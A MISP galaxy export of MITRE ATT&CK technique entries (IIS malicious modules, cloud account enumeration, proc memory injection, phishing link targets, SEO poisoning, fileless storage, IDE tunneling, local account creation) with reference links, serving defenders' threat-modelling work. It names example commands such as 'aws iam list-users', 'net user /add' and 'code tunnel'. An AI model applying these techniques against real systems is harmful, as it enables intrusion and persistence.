IIS Components - T1505.004

Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and

(optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)

Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)

Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004"*

Table 8685. Table References

Links
https://attack.mitre.org/techniques/T1505/004
https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx
https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/

Network Topology - T1590.004

Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Topology - T1590.004"*

Table 8686. Table References

Links
https://attack.mitre.org/techniques/T1590/004
https://dnsdumpster.com/

Unix Shell - T1059.004

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.

The tag is: *misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"*

Table 8687. Table References

Links
https://attack.mitre.org/techniques/T1059/004
https://linux.die.net/man/1/bash
https://support.apple.com/HT208050

Cloud Accounts - T1078.004

Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

Service or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.

An adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication.

Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s to move laterally across the cloud environment.(Citation: SpecterOps Managed Identity 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"*

Table 8688. Table References

Links
https://attack.mitre.org/techniques/T1078/004
https://aws.amazon.com/identity/federation/
https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c

Cloud Account - T1087.004

Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.

With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004"*

Table 8689. Table References

Links
https://attack.mitre.org/techniques/T1087/004
https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html
https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
https://github.com/True-Demon/raindance

https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/

IP Addresses - T1590.005

Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005"*

Table 8690. Table References

Links
https://attack.mitre.org/techniques/T1590/005
https://dnsdumpster.com/
https://who.is/
https://www.circl.lu/services/passive-dns/

Visual Basic - T1059.005

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other

functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking)

The tag is: *misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"*

Table 8691. Table References

Links
https://attack.mitre.org/techniques/T1059/005
https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
https://docs.microsoft.com/dotnet/visual-basic/
https://docs.microsoft.com/office/vba/api/overview/
https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)
https://en.wikipedia.org/wiki/Visual_Basic_for_Applications
https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805

Proc Memory - T1055.009

Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes' stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes' memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)

Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009"*

Table 8692. Table References

Links
http://hick.org/code/skape/papers/needle.txt
http://man7.org/linux/man-pages/man1/dd.1.html
https://attack.mitre.org/techniques/T1055/009
https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html

Link Target - T1608.005

Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.

Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).

Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)

Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those

providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Link Target - T1608.005"*

Table 8693. Table References

Links
https://attack.mitre.org/techniques/T1608/005
https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
https://blog.talosintelligence.com/ipfs-abuse/
https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/
https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html
https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/
https://www.kaspersky.com/blog/malicious-redirect-methods/50045/
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service
https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits

Device Registration - T1098.005

Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.

MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some

cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)

Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)

Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)

The tag is: *misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005"*

Table 8694. Table References

Links
https://attack.mitre.org/techniques/T1098/005
https://expel.com/blog/observing-atlas-lion-part-one/
https://o365blog.com/post/bprt/
https://o365blog.com/post/devices/
https://o365blog.com/post/mdm
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack
https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft
https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

Cloud API - T1059.009

Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).

Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.

With proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009"*

Table 8695. Table References

Links
https://attack.mitre.org/techniques/T1059/009
https://github.com/Azure/azure-powershell

SEO Poisoning - T1608.006

Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site's ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)

To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)

In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)

Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site's calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)

SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny

from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)

The tag is: *misp-galaxy:mitre-attack-pattern="SEO Poisoning - T1608.006"*

Table 8696. Table References

Links
https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/
https://attack.mitre.org/techniques/T1608/006
https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/
https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it
https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0
https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7

Standard Encoding - T1132.001

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"*

Table 8697. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1132/001
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding

Symmetric Cryptography - T1521.001

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.

The tag is: *misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1521.001"*

Table 8698. Table References

Links
https://attack.mitre.org/techniques/T1521/001

Fileless Storage - T1027.011

Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).

Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)

Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.

Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)

The tag is: *misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011"*

Table 8699. Table References

Links
https://attack.mitre.org/techniques/T1027/011
https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats
https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/
https://sysdig.com/blog/containers-read-only-fileless-malware/
https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell

https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/
https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html
https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html

IDE Tunneling - T1219.001

Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.(Citation: sentinelone operationDigitalEye Dec 2024)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Thornton tutorial VSCode shell September 2023)

Additionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.

IDE tunneling tools may be built-in or installed as [IDE Extensions](https://attack.mitre.org/techniques/T1176/002).

The tag is: *misp-galaxy:mitre-attack-pattern="IDE Tunneling - T1219.001"*

Table 8700. Table References

Links
https://attack.mitre.org/techniques/T1219/001
https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d
https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/
https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/

Local Account - T1136.001

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

For example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)

Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"*

Table 8701. Table References

Links
https://attack.mitre.org/techniques/T1136/001
https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
https://kubernetes.io/docs/concepts/security/service-accounts/
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630

Internal Defacement - T1491.001

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)(Citation: Varonis) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"*

Table 8702. Table References

Links
https://attack.mitre.org/techniques/T1491/001
https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
